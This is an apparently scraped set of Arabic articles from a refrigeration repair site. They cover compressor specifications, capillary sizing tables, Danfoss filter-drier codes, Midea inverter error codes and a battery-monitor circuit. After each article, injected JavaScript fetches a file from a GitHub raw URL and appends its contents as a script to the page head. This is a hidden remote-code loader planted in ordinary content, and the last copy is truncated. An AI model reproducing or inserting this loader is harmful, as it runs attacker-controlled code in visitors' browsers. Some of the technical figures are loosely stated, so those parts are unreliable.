EMT6170Z

n

ضاغط Embraco EMT6170Z

nnnn

Mbsm.tn, Compressor, EMBRACO, EMT6170Z, HBP, R134a, 350 G, 220-240V/1F/50Hz, 1/4 hp++, 1/3 HP–, 7.69 cm3

nnnn

يعتبر ضاغط Embraco EMT6170Z من الضواغط الهيرميتيكية ذات المكبس المتردد، وهو مصمم لتطبيقات التبريد. يتوفر الضاغط بقوتين مختلفتين: 1/4 حصان و 1/3 حصان. إليك التفاصيل:

nnnn

1/4 حصان

nnnn

    n

  • التطبيقات: يُستخدم عادةً في الأنظمة التي تتطلب ضغطًا منخفضًا (LBP).
  • nnnn

  • الأداء:n
      n

    • يعمل بكفاءة في درجات حرارة محيط تتراوح بين -15°C إلى +10°C باستخدام غاز التبريد R-134a.
    • nnnn

    • سعة التبريد مناسبة لتطبيقات التبريد المختلفة.
    • n

    n

  • n

nnnn

1/3 حصان

nnnn

    n

  • التطبيقات: مصمم للأنظمة التي تعمل تحت ضغط أعلى (HBP).
  • nnnn

  • الأداء:n
      n

    • يوفر سعات تبريد أعلى مقارنةً بنموذج 1/4 حصان.
    • nnnn

    • يعمل أيضًا في درجات حرارة مشابهة لنموذج 1/4 حصان.
    • n

    n

  • n

nnnn

المواصفات الفنية

nnnn

    n

  • نوع الضاغط: ضاغط هيرميتيكي متردد
  • nnnn

  • الجهد الكهربائي: 220-240 فولت، أحادي الطور، 50 هرتز
  • nnnn

  • سعة الإزاحة: حوالي 7.69 سم³
  • n

nnnn

يُستخدم هذا الضاغط بشكل واسع في أنظمة التبريد التجارية، مثل وحدات العرض والتخزين البار، نظرًا لأدائه الموثوق ومرونته في تلبية احتياجات التبريد المختلفة.

nnnn

www.Mbsm.tn-Media-EMT6170Z

nnnn

n;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});




EGYS110CLC

n

Mbsm.tn, Compresseur, Embraco, EGYS110CLC, 1/3 cv, lbp, r600a, 263 w, 1,1a

nnnn

معلومات عن ضاغط EGYS110CLC

nnnn

EGYS110CLC هو ضاغط هيرميتي (مغلق) يعمل بتقنية المكبس، ويستخدم بشكل رئيسي في التطبيقات ذات درجات الحرارة المنخفضة. إليك بعض المعلومات الأساسية حول هذا الضاغط:

nnnn

المواصفات الرئيسية

nnnn

    n

  • الموديل: EGYS110CLC
  • nnnn

  • النوع: ضاغط هيرميتي مكبسي
  • nnnn

  • القدرة الحصانية: 1/3 حصان (حوالي 0.25 كيلو واط)
  • nnnn

  • مصدر الطاقة: 220-240 فولت، 50 هرتز
  • nnnn

  • الغاز المبرد: R-600a (إيزوبوتان)
  • nnnn

  • قدرة التبريد:n
      n

    • عند -30°C: 263 واط
    • nnnn

    • عند -25°C: 241 واط
    • nnnn

    • عند -20°C: 307 واط
    • nnnn

    • عند -15°C: 387 واط
    • nnnn

    • عند -10°C: 486 واط
    • n

    n

  • n

nnnn

الكفاءة

nnnn

    n

  • يتمتع الضاغط بمعامل أداء (COP) يبلغ حوالي 1.83 في ظروف التشغيل المحددة، مما يشير إلى كفاءة طاقة جيدة.
  • n

nnnn

التطبيقات

nnnn

يستخدم ضاغط EGYS110CLC في مجموعة متنوعة من التطبيقات، مثل:

nnnn

    n

  • صانعات الثلج
  • nnnn

  • برادات المشروبات
  • nnnn

  • الثلاجات التجارية
  • n

nnnn

هذا الضاغط معروف بكفاءته العالية وموثوقيته في العمل في ظروف درجات الحرارة المنخفضة، مما يجعله خيارًا ممتازًا لمختلف أنظمة التبريد.

nnnn

www.Mbsm.tn-Media-EGYS110CLC

nnnn

n;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});




الإعاقة في التبريد

n

كلما كبر طول الكابيلاري زادات الإعاقة وكلما قصر طول الكابيلاري نقصت الإعاقة

nnnn

لحساب الإعاقة في أنظمة التبريد، يمكننا استخدام عدة عوامل تؤثر على أداء النظام. إليك جدول يوضح بعض العوامل الأساسية التي يجب مراعاتها عند تقييم الإعاقة في أنظمة التبريد:

nnnn

العامل الوصف
قدرة الضاغط (حصان) قدرة الضاغط تلعب دورًا رئيسيًا في تحديد أداء نظام التبريد.
درجة الحرارة في المبخر تؤثر درجة الحرارة في المبخر على كفاءة التبريد. كلما كانت أقل، زادت كفاءة التبريد.
نوع مركب التبريد يختلف أداء النظام حسب نوع مركب التبريد المستخدم (مثل R134a، R600، R12).
نوع المكثف يؤثر نوع المكثف (جبري أو استاتيكي) على طول الكابلاري المطلوب.
طول وقطر الكابلاري زيادة الطول أو تقليل القطر يؤدي إلى زيادة الإعاقة في تدفق الغاز.
حالة النظام تسرب الغاز أو انسداد الفلاتر يمكن أن يؤدي إلى زيادة الإعاقة.

nnnn

ملاحظات:

nnnn

    n

  • طول الكابلاري: كلما زاد الطول أو قل القطر، زادت الإعاقة، مما قد يؤدي إلى ضعف أداء التبريد.
  • nnnn

  • تسرب الغاز: نقص الغاز المبرد بسبب التسرب يمكن أن يؤثر سلبًا على كفاءة النظام.
  • nnnn

  • الصيانة الدورية: من المهم إجراء صيانة دورية للتأكد من عدم وجود انسدادات أو تسربات تؤثر على الأداء.
  • n

nnnn

أمثلة على حساب الإعاقة:

nnnn

    n

  • إذا كان لديك ضاغط بقدرة 1/2 حصان مع نظام تبريد يستخدم R134a، يمكنك استخدام الجداول المتاحة لتحديد قطر وطول الكابلاري المناسبين.
  • nnnn

  • إذا كان هناك تسرب في النظام، سيؤدي ذلك إلى نقص الغاز مما يزيد من الإعاقة ويقلل من كفاءة التبريد.
  • n

nnnn

www.Mbsm.tn-Media-الإعاقة في التبريد

nnnn

www.Mbsm.tn-Media-الإعاقة في التبريد

nnnn

www.Mbsm.tn-Media-الإعاقة في التبريد

nnnn

www.Mbsm.tn-Media-الإعاقة في التبريد

nnnn

www.Mbsm.tn-Media-الإعاقة في التبريد

nnnn

لتحديد قدرة الإعاقة في أجهزة التبريد، يمكن اتباع الخطوات التالية بناءً على المعلومات المستخلصة من النتائج:

nnnn

كيفية تحديد قدرة الإعاقة

nnnn

    n

  1. فهم مفهوم الإعاقة:n
      n

    • الإعاقة في أنظمة التبريد تشير إلى مقاومة تدفق الغاز المبرد عبر النظام، والتي يمكن أن تؤثر على كفاءة التبريد.
    • n

    n

  2. nnnn

  3. قياس الضغط:n
      n

    • استخدم مقياس ضغط لقياس الضغط على جانبي النظام (الضغط العالي والضغط المنخفض). يمكن أن تشير القراءات غير الطبيعية إلى وجود إعاقة.
    • nnnn

    • على سبيل المثال، في حالة التبريد، قد يكون الضغط بين 160 إلى 175 PSI، بينما في حالة التجميد قد يتراوح بين 220 إلى 250 PSI.
    • n

    n

  4. nnnn

  5. اختبار الكابلاري:n
      n

    • يمكن تحديد القطر المناسب للكابلاري بناءً على قدرة الضاغط واحتياجات الظام. يتم ذلك عن طريق اختبار عدة مقاسات مختلفة من الكابلاري (مثل 0.028، 0.031 مم) ومعرفة أي منها يعطي أفضل أداء بناءً على قياسات الضغط
    • n

    n

  6. nnnn

  7. تحليل النتائج:n
      n

    • إذا كان الضغط على جانب الضغط المنخفض أعلى من المعتاد، فقد يشير ذلك إلى انسداد أو إعاقة في النظام.
    • nnnn

    • إذا كان الضغط منخفضًا جدًا، قد يعني ذلك تسربًا أو نقصًا في الغاز المبرد.
    • n

    n

  8. nnnn

  9. تعديل النظام:n
      n

    • ناءً على القياسات والتحليلات، يمكنك تعديل طول وقطر الكابلاري لتقليل الإعاقة. عادةً ما يتطلب الأمر زيادة طول الكابلاري إذا كانت الضغوط أقل من المطلوب، والعكس صحيح1.
    • n

    n

  10. n

nnnn

ملاحظات إضافية

nnnn

    n

  • تأكد من أن النظام خالي من التسربات وأن جميع المكونات تعمل بشكل سليم.
  • nnnn

  • يفضل إجراء هذه الاختبارات بواسطة فني مؤهل لضمان دقة النتائج وسلامة النظام.
  • nnnn

  • جدول يوضح خطوات تحديد قدرة الإعاقة في أنظمة التبريد حسب نوع المبرد، مع المعلومات الأساسية المتعلقة بكل خطوة:الخطوة
    الوصف
    1
    فهم الإعاقة: الإعاقة تشير إلى مقاومة تدفق الغاز المبرد في النظام، والتي تؤثر على كفاءة التبريد. تعتمد قدرة الإعاقة على عدة عوامل مثل نوع المبرد، طول وقطر الكابلاري، وضغط النظام.
    2
    تحديد ضغط الإعاقة حسب نوع المبرد: تختلف ضغوط الإعاقة حسب نوع المبرد المستخدم. القيم المرجعية هي:
    – التجميد (نوفروست): 220 إلى 250 PSI
    – التلاجة (2 باب ديفروست): حوالي 200 PSI
    – التبريد: 160 إلى 175 PSI
    – التكييف: 80 إلى 90 PSI
    3
    اختيار قطر وطول الكابلاري: يعتمد اختيار قطر وطول الكابلاري على قدرة الضاغط ونوع المبرد.
    – عند استخدام R134a، يتم اختيار قطر صغير عند التجميد وقطر أكبر عند التبريد.
    – عند استخدام R600 أو R12، يجب مراعاة نفس المبادئ مع تعديل القيم حسب الحاجة.
    4
    اختبار الكابلاري: يمكن اختبار عدة مقاسات من الكابلاري (مثل 0.028، 0.031، 0.036 مم) لمعرفة أي منها يوفر أفضل أداء بناءً على قياسات الضغط. قم بلحام صمامات شحن في كل قطعة كابلاري واختبرها تحت الضغط المناسب.
    5
    تحليل النتائج: إذا كان الضغط على جانب الضغط المنخفض أعلى من المعتاد، فقد يشير ذلك إلى انسداد أو إعاقة في النظام. إذا كان الضغط منخفضًا جدًا، قد يعني ذلك تسربًا أو نقصًا في الغاز المبرد.
  • n

n;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});




capillary

n

www.Mbsm.tn-Media-capillary

nnnn

www.Mbsm.tn-Media-capillary

nnnn

www.Mbsm.tn-Media-capillary

nnnn

www.Mbsm.tn-Media-capillary

nnnn

جدول شامل يوضح قدرة الضاغط وقطر الكابلاري لمركبات التبريد R134a وR600، بالإضافة إلى طول الكابلاري لكل منهما، مع إضافة خانة القدرة المستعملة بالوات:

nnnn

قدرة الضاغط (حصان) القدرة المستعملة (وات) قطر الكابلاري لـ R134a (مم) قطر الكابلاري لـ R600 (مم) طول الكابلاري لـ R134a (متر) طول الكابلاري لـ R600 (متر)
1/10 75 0.025 0.031 2.0 – 3.0 2.5 – 3.5
1/8 100 0.028 0.035 2.0 – 3.0 2.5 – 3.5
1/6 150 0.028 0.035 2.0 – 3.0 2.5 – 3.5
1/4 200 0.031 0.039 2.0 – 3.0 2.5 – 3.5
1/3 250 0.039 0.045 2.5 – 3.5 3.0 – 4.0
1/2 375 0.055 0.060 3.0 – 4.0 3.5 – 4.5

nnnn

ملاحظات:

nnnn

    n

  • R134a: يتطلب زياد طول الكابلاري بنسبة حوالي 10% مقارنة بالجدول.
  • nnnn

  • R600: يمكن استخدام الأطوال المذكورة دون تعديل.
  • n

nnnn

www.Mbsm.tn-Media-capillary

nnnn

www.Mbsm.tn-Media-capillary

nnnn

www.Mbsm.tn-Media-capillary

nnnn

www.Mbsm.tn-Media-capillary

n;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});




LQ119NAEM

n

Mbsm.pro, Lg, compressor, LQ119NAEM, 1/3 hp, 227 w, lbp, 774 btu, r600a

nnnn

نظرة عامة على ضاغط LQ119NAEM

nnnn

LQ119NAEM هو ضاغط تبريد تصنعه شركة LG، مصمم لتوفير كفاءة عالية في التبريد في الثلاجات والمجمدات.

nnnn

المواصفات الرئيسية

nnnn

    n

  • رقم الطراز: LQ119NAEM
  • nnnn

  • نوع الضاغط: ضاغط خطي
  • nnnn

  • تصنيف القدرة: حوالي 1/3 حصان (HP)
  • nnnn

  • سعة التبريد:n
      n

    • 227 واط (وفقًا لبعض المصادر)
    • nnnn

    • 774 btu
    • n

    n

  • nnnn

  • سعة الإزاحة: 11.9 سم³/دورة
  • nnnn

  • الغاز المبرد: R600a (إيزوبوتان)
  • nnnn

  • الجهد الكهربائي: 220-240 فولت
  • nnnn

  • التردد: 50 هرتز
  • nnnn

  • درجة حرارة التبخر: -23.3 درجة مئوية
  • nnnn

  • درجة حرارة التكثف: 54.4 درجة مئوية
  • n

nnnn

الميزات

nnnn

    n

  • كفاءة الطاقة: مصمم لتحقيق كفاءة عالية، مما يساعد في تقليل استهلاك الطاقة.
  • nnnn

  • مستوى الضوضاء: يعمل بهدوء، مما يعزز راحة المستخدم.
  • nnnn

  • التحمل والمتانة: مصمم ليقدم أداءً موثوقًا تحت ظروف تشغيل مختلفة.
  • n

nnnn

التطبيقات

nnnn

يعتبر LQ119NAEM مناسبًا للثلاجات والمجمدات متوسطة إلى كبيرة الحجم، بالإضافة إلى أنظمة التبريد التجارية. تصميمه يسمح له بالعمل بكفاءة مع مستويات ضوضاء منخفضة.

nnnn

www.Mbsm.tn-Media-LQ119NAEM

nnnn

www.Mbsm.tn-Media-LQ119NAEM

nnnn

n;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});




QD158H

Compresseur au néon, QD128H (360 W), 1/3 CV, QD158H (450 W), 3/8+, QD142H (395 W), 3/8+, QD168H (322 W), 1/2 CV, R134a

ضاغط QD158H

الشركة المصنعة لضاغط QD158H هي Nihong، وهي شركة معروفة في مجال تصنيع ضواغط التبريد. يتميز هذا الضاغط بقدرة تبلغ 3/8 حصان (حوالي 450 واط) ويستخدم مبرد R134A.

QD158H هو ضاغط تبريد مصمم لتوفير كفاءة عالية في التبريد في مجموعة متنوعة من التطبيقات. إليك المواصفات الرئيسية:

  • قدرة الطاقة: 3/8 حصان (حوالي 450 واط)
  • الجهد الكهربائي: 220-240 فولت
  • التردد: 50 هرتز
  • نوع المبرد: R134A
  • حجم الإزاحة: 15.8 سم³

التصنيف

يتم تصنيف QD158H كضاغط ضغط مرتفع متوسط (MHBP). يعمل بشكل فعال ضمن نطاق درجة حرارة التبخر الذي يتراوح تقريبًا من -25ºC إلى 0ºC (-10ºF إلى 32ºF). يجعل هذا التصنيف الضاغط مناسبًا لمجموعة متنوعة من مهام التبريد، خاصة في الثلاجات والمجمدات المنزلية.

قدرة التبريد

يمتلك الضاغط قدرة تبريد تبلغ حوالي 450 واط في ظروف التشغيل المحددة، مما يجعله مثاليًا للاحتياجات المتوسطة من التبريد. تم تصميمه لتوفير أداء تبريد موثوق وفعال، مما يضمن تشغيلًا مثاليًا في بيئات مختلفة.

التطبيقات

يستخدم QD158H بشكل شائع في:

  • الثلاجات المنزلية
  • المجمدات
  • أنظمة التبريد الأخرى التي تتطلب دعم ضغط مرتفع متوسط

هذا الضاغط هو جزء من سلسلة تشمل نماذج ذات قدرات طاقة متنوعة، مما يبرز مرونته وقدرته في تطبيقات التبريد.

www.Mbsm.tn-Media-QD158H

n;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});




فك رموز فلتر دراير دانفوس DANFOSS

طريقة فك رموز فلحر دراير DANFOSS: دليل شامل

ملاحظة: نظرًا لأن رموز فلتر الدراير من دانفوس قد تتغير وتختلف حسب الطراز والمواصفات، فمن الأفضل دائمًا الرجوع إلى دليل المستخدم الأصلي أو الاتصال بخدمة العملاء الخاصة بـ دانفوس للحصول على معلومات دقيقة ومحدثة.

الهدف من رموز فلتر الدراير:

تستخدم رموز فلتر الدراير من دانفوس لتوفير معلومات مهمة حول الفلتر، مثل:

  • الحجم: قطر الأنبوب وطول الفلتر.
  • نوع المادة: نوع المادة المستخدمة في تصنيع الفلتر (مثل النحاس أو الألومنيوم).
  • درجة الحرارة والضغط: الحد الأقصى لدرجة الحرارة والضغط التي يمكن للفلتر تحملها.
  • نوع المادة الماصة: نوع المادة الماصة المستخدمة داخل الفلتر لامتصاص الرطوبة والزيوت.

الخطوات العامة لفك رموز فلتر الدراير:

  1. التعرف على الرمز: ابدأ بفحص الرمز المطبوع على جسم الفلتر. عادة ما يكون الرمز عبارة عن مجموعة من الأحرف والأقم.
  2. استخدام دليل المستخدم: استخدم دليل المستخدم المرفق مع الفلتر أو دليل المستخدم المتاح على موقع دانفوس الإلكتروني. ابحث عن جدول الرموز الذي يشرح معنى كل رمز.
  3. الاتصال بخدمة العملاء: إذا لم تتمكن من العثور على المعلومات المطلوبة في دليل المستخدم، فاتصل بخدمة العملاء الخاصة بـ دانفوس. يمكنهم تزويد بالمعلومات الدقيقة حول رمز الفلتر الخاص بك.

أمثلة عى موز فلتر الدراير:

قد يختلف شكل الرمز حسب طراز الفلتر، ولكن بشكل عام، قد يكون الرمز مشابهًا لما يلي:

  • DANFOSS DHF 10-7/16-10:

    • DHF: يشير إلى نوع الفلتر.
    • 10: يشير إلى الحجم (قد يكون قطر الأنبوب).
    • 7/16: يشير إلى الحجم (قد يكون طول الفلتر).
    • 10: يشير إلى مواصفة أخرى (مثل نوع المادة الماصة).

نصائح إضافية:

  • التحقق من الوثائق: قبل تركيب أي فلتر دراير جديد، تأكد من التحقق من جميع الوثائق المصاحبة للفلتر للتأكد من أنه مناسب لتطبيقك.
  • الاستعانة بخبير: إذا لم تكن متأكدًا من كيفية فك رموز فلتر الدراير أو كيفية اختيار الفلتر المناسب، فاستشر خبيرًا في مجال التبريد والتكييف.

مثال على جدول مبسط:

رمز الفلتر الوصف الحجم (بوصة) نوع المادة ضغط العمل (بار) درجة الحرارة (°C)
DHF 10-7/16-10 فلتر تجفيف عام 10 x 7/16 نحاس، ألومنيوم 40 120
DHF 15-1/2-15 فلتر تجفيف عالي الكفاءة 15 x 1/2 نحاس، ألومنيوم 60 150

;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});




أعطال مكيفات ميديا إنفرتر وكيفية التعامل معها

أكواد أعطال مكيفات ميديا إنفرتر وشرحها

تحتوي مكيفات ميديا إنفرتر على نظام تشخيص ذاتي يكتشف الأعطال ويعرضها على الشاشة الداخلية على شكل أكواد. هذه الأكواد تساعد في تحديد المشكلة بدقة وتسريع عملية الصيانة.

لماذا تظهر أكواد الأعطال؟ تظهر أكواد الأعطال عادة عندما يحدث عطل في أحد مكونات المكيف، مثل:

  • مشكلة في الضاغط: قد يكون هناك عطل في محرك الضاغط أو في دارة التحكم فيه.
  • مشكلة في حساسات درجة الحرارة: قد يكون هناك عطل في الحساس المسؤولة عن قياس درجة حرارة الغرفة أو المبخر.
  • مشكلة في لوحة التحكم: قد يكون هناك عطل في اللوحة الإلكترونية التي تتحكم في عمل المكيف.
  • مشكلة في دائرة التبريد: قد يكون هناك تسريب في نظام التبريد أو انسداد في الأنابيب.

أهمية معرفة أكواد الأعطال:

  • تحديد المشكلة بدقة: تساعد أكواد الأعطال في تحديد الجزء المعطل بدقة، مما يوفر الوقت والجهد في عملية الصيانة.
  • تجنب تفاقم المشكلة: يمكن أن يؤدي تجاهل الأعطال إلى تفاقم المشكلة وتسبب أضار بر للمكيف.
  • توفير التكاليف: يمكن إصلاح العطل بنفسك في بعض الحالات البسيطة، مما يوفر تكاليف الصيانة.

أين جد أكواد الأعطال؟ تظهر أكواد الأعطال عادة على شاشة الوحدة الداخلية للمكيف. قد تختلف طريقة عرض الكود من طراز لآخر، ولكن بشكل عام تكون عبارة عن مجموعة من الأرقام أو الأحرف.

كيفية التعامل مع أكواد الأعطال:

  • الرجوع إلى دليل المستخدم: يحتوي دليل المستخدم على شرح مفصل لأكواد الأعطال وكيفية التعامل معها.
  • الاتصال بمركز الصيانة: إذا لم تتمكن من حل المشكلة بنفسك، فاتصل بمركز صيانة ميديا المعتمد.
  • البحث على الإنترنت: يمكنك البحث عن الكود على الإنترنت للحصول على المزيد من المعلومات.

ملاحظة: يجب توخي الحذر عند محاولة إصلاح المكيف بنفسك، فبعض الأعطال تتطلب خبرة فنية متخصصة.

أمثلة على بعض أكواد الأعطال الشائعة في مكيفات ميديا:

  • EC: يشير إلى وجود تسريب في نظام التبريد أو مشكلة في الضاغط.
  • P2: يدل على وجود مشكلة في الضاغط.
  • P1: يشير إلى عدم استقرار التيار الكهربائي.
  • P0: يدل على وجود عطل في اللوحة الإلكترونية.
  • F5: يشير إلى وجود عطل في موتور الوحدة الخارجية.

للحصول على معلومات أكثر دقة حول أكواد الأعطال الخاصة بمكيفك، يرجى الرجوع إلى دليل المستخدم أو الاتصال بمركز صيانة ميديا.

موارد مفيدة:

  • موقع ميديا: يمكنك العثور على معلومات حول المنتجات وخدمات الصيانة على الموقع الرسمي لشركة ميديا.
  • يوتيوب: هناك العديد من الفيديوهات التي تشرح أكواد أعطال مكيفات ميديا وكيفية حلها.

;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});




دائرة لمراقبة مستوى جهد بطارية السيارة

دائرة لمراقبة مستوى جهد بطارية السيارة: شرح مبسط وخطوات التنفيذ

مقدمة

تعتبر مراقبة مستوى جهد بطارية السيارة أمرًا حيويًا لضمان أداء السيارة بشكل صحيح وتجنب الأعطال المفاجئة. يمكننا تصميم دائرة إلكترونية بسيطة تقوم بمهمة مراقبة الجهد وإعطاء إشارة إنذار عند انخفاض الجهد عن مستوى معين.

المكونات المطلوبة:

  • مقاومة متغيرة: لتحديد مستوى الجهد الذي نريد مراقبته.
  • مقارنة (Comparator): لمقارنة الجهد بين البطارية والقيمة المحددة.
  • ترانزستور: لتضخيم إشارة الخرج من المقارنة.
  • مؤشر ضوئي (LED): لإعطاء إشارة مرئية عند انخفاض الجهد.
  • مقاومة: لتحديد شدة التيار المار في الـ LED.
  • بطارية: لتغذية الدائرة (يمكن استخدام بطارية صغيرة من نفس نوع بطارية السيارة).

طريقة العمل:

  1. توصيل المقاومة المتغيرة: يتم توصيل رفي المقاومة المتغيرة بجهد إما الدائرة (البطارية الصغيرة).
  2. توصيل المقارنة: يتم توصيل أحد مدخلي المقارنة بجهد البطارية، والمدخل الآخر بنقطة معينة على المقاومة المتغيرة.
  3. توصيل الترانزستور: يتم توصيل خرج المقارنة بقاعدة الترانزستور.
  4. توصيل الـ LED والمقاومة: يتم توصيل الـ LED والمقاومة على دارة جامع الترانزستور.

رح العمل:

  • عندما يكون جهد البطارية أعلى من الجهد المحدد على المقاومة المتغيرة، فإن خرج المقارنة يكون منخفضًا، وبالتالي لا يتشبع الترانزستور ولا يضيء الـ LED.
  • عندما ينخفض جهد البطارية عن الجهد المحدد، فإن خرج المقارنة يصبح مرتفعًا، ويتشبع الترانزستور ويضيء الـ LED.

مخطط الدائرة:

[سيتم إدراج مخطط دائرة بسيط هنا، يمكنك استخدام برامج مثل Proteus أو Tinkercad لتصميم المخطط]

خطوات التنفيذ:

  1. رسم المخطط: ارسم المخطط على لوحة الدوائر المطبوعة أو على لوح تجارب.
  2. تركيب المكونات: قم بتركيب المكونات على اللوحة وفقًا للمخطط.
  3. التوصيل: قم بتوصيل الأسلاك بين المكونات وفقًا للمخطط.
  4. الاختبار: قم بتوصيل الدائرة ببطارية السيارة وتأكد من عملها بشكل صحيح.

ملاحظات هامة:

  • اختيار القيم المناسبة للمكونات: يجب اختيار قيم المقاومة والترانزستور بناءً على جهد البطارية والتيار المطلوب للـ LED.
  • الحماية: يجب إضافة دائرة حماية للترانزستور لمنع تلفه في حالة حدوث ارتفاع مفاجئ في الجهد.
  • الدقة: قد تتأثر دقة الدائرة بعوامل عدة مثل درجة حرارة البيئة وتغيرات جهد البطارية.
  • التركيب الآمن: يجب الحرص على توصيل الدائرة بشكل صحيح وتجنب لمس أي أجزاء معدنية أثناء التشغيل.

استخدامات أخرى:

  • إنذار انخفاض شحن الهاتف: يمكن تعديل الدائرة لتنبيه المستخدم عند انخفاض شحن هاتفه المحمول.
  • تحكم في أجهزة أخرى: يمكن استخدام إشارة خرج الدائرة للتحكم في أجهزة أخرى مثل المراوح أو المصابيح.

ملاحظة: هذا شرح مبسط لدائرة مراقبة جهد البطارية. يمكن تطوير هذه الدائرة وإضافة ميزات أخرى مثل شاشة عرض رقمية أو تخزين البيانات.

لتصميم دائرة أكثر تعقيدًا أو للحصول على مسعدة فنية، يُنصح بالاستعانة بمهندس إلكتروني.

هل لديك أي أسئلة أخرى حول هذه الدائرة أو ترغب في الحصول على معلومات أكثر تفصيلاً؟

ملاحظة: قد تحتاج إلى البحث عن قيم محددة للمكونات بناءً على نوع البطارية والجهد المطلوب مراقبته.

قد تكون هذه المصادر مفيدة لك:

  • موقع Arduino: للحصول على أمثلة على دوائر مماثلة ومكتبات برمجية.
  • منتديات الإلكترونيات: للطرح على مجتمع المهندسين والهواة للحصول على المساعدة.

;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = 